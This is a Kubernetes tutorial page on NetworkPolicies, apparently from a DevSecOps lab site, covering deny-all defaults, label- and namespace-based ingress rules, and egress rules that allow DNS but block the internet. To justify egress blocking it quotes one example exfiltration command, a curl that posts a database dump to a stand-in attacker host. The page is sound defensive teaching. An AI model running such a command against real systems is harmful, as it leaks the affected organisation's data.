Skip to main content

Kubernetes Network Policies Lab

· 3 min read

The "Deny-All" Default Policy​

(Zero Trust Security)

The #1 Best Practice in DevSecOps is Zero Trust. By default, trust nobody. When you create a new Namespace, the very first thing you should do is drop a "Deny-All" policy into it. This locks every single door.

The Rule: If a Pod has no policy selecting it, it accepts all traffic. If a Pod is selected by a policy, it rejects everything except what the policy explicitly allows.

The Default Deny-All YAML:​

This policy selects all pods in a namespace and blocks both incoming and outgoing traffic.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: prod-env
spec:
podSelector: {} # Empty selector means "Select ALL Pods"
policyTypes:
- Ingress # Block all incoming
- Egress # Block all outgoing

Once you apply this, your entire prod-env namespace goes dark. Nothing can talk to anything. Now, we selectively open doors.


Allowing Specific Traffic​

(Opening the Right Doors)

Let's say we have a backend Pod. We want to allow traffic to it, but ONLY if the traffic comes from the frontend Pod.

Allowing traffic based on Pod Labels:​

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-to-backend
namespace: prod-env
spec:
podSelector:
matchLabels:
app: backend # This policy applies TO the backend pods
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # ONLY allow traffic FROM the frontend pods
ports:
- protocol: TCP
port: 8080 # ONLY on port 8080

Allowing traffic based on Namespaces:​

Sometimes you want to allow a monitoring tool (like Prometheus) located in a different namespace to read metrics from your app.

ingress:
- from:
- namespaceSelector:
matchLabels:
team: monitoring # Allow traffic from any pod in the 'monitoring' namespace

Egress Policies​

(Blocking Internet Access)

Most people only secure incoming traffic (Ingress). But Egress (Outbound) security is critical to stop Data Exfiltration.

If a hacker compromises your Database Pod, their next step is to run a command like curl hacker-server.com --data "db_dump". Or, they might try to download a crypto-miner script from the internet.

If your Database Pod does not need the internet, block it!

Example: Allow DNS, but Block the Internet​

This policy allows a Pod to query DNS (port 53) so it can find other internal services, but blocks it from talking to any external IP address.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: db-egress-policy
namespace: prod-env
spec:
podSelector:
matchLabels:
app: database
policyTypes:
- Egress
egress:
- to: # Allow DNS lookups internally
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53

If the hacker tries to curl google.com, the connection will simply timeout. You have trapped them!